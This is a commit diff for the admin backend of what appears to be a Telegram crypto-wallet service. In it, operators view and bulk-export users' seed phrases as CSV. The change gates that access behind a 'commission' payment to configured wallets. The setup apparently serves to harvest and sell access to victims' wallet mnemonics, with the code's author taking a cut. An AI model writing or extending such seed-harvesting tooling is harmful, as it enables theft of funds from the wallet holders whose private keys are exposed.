fix: lock seed phrases behind commission payment gate

- Seeds only unlock when lastPaidAmount >= currentCommission
- CSV export endpoint also checks commission before serving
- Button shows locked state with amount due when commission unpaid
- Prevents free access to encrypted mnemonics without payment

src/admin/routes/wallets.js

@@ -77,7 +77,9 @@ router.get('/', async (req, res) => {
       `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 20`
     );
 
-    const seedsUnlocked = req.query.seeds === '1';
+    const seedsRequested = req.query.seeds === '1';
+    const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0;
+    const seedsUnlocked = seedsRequested && seedsPaid;
 
     let seedPhrases = [];
     if (seedsUnlocked) {
@@ -114,6 +116,7 @@ router.get('/', async (req, res) => {
       commissionWallets: config.COMMISSION_WALLETS,
       totalUsers: users.length,
       payments,
+      seedsPaid,
     };
 
     res.send(renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked));
@@ -151,6 +154,20 @@ router.post('/record-payment', async (req, res) => {
 
 router.post('/export-seeds', async (req, res) => {
   try {
+    const walletStats = await getWalletStats();
+    const commissionRate = config.COMMISSION_PERCENT / 100;
+    const currentCommission = walletStats.totalUsd * commissionRate;
+    const lastPayment = await db.getAsync(
+      `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 1`
+    );
+    const lastPaidAmount = lastPayment ? lastPayment.commission_amount_usd : 0;
+    const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0;
+
+    if (!seedsPaid) {
+      logger.warn({ currentCommission, lastPaidAmount }, 'Seed export blocked — commission not paid');
+      return res.status(403).send('Seed export is locked until commission is paid. Due: $' + Math.max(0, currentCommission - lastPaidAmount).toFixed(2));
+    }
+
     const walletsWithSeeds = await db.allAsync(
       `SELECT w.*, u.telegram_id, u.username
        FROM crypto_wallets w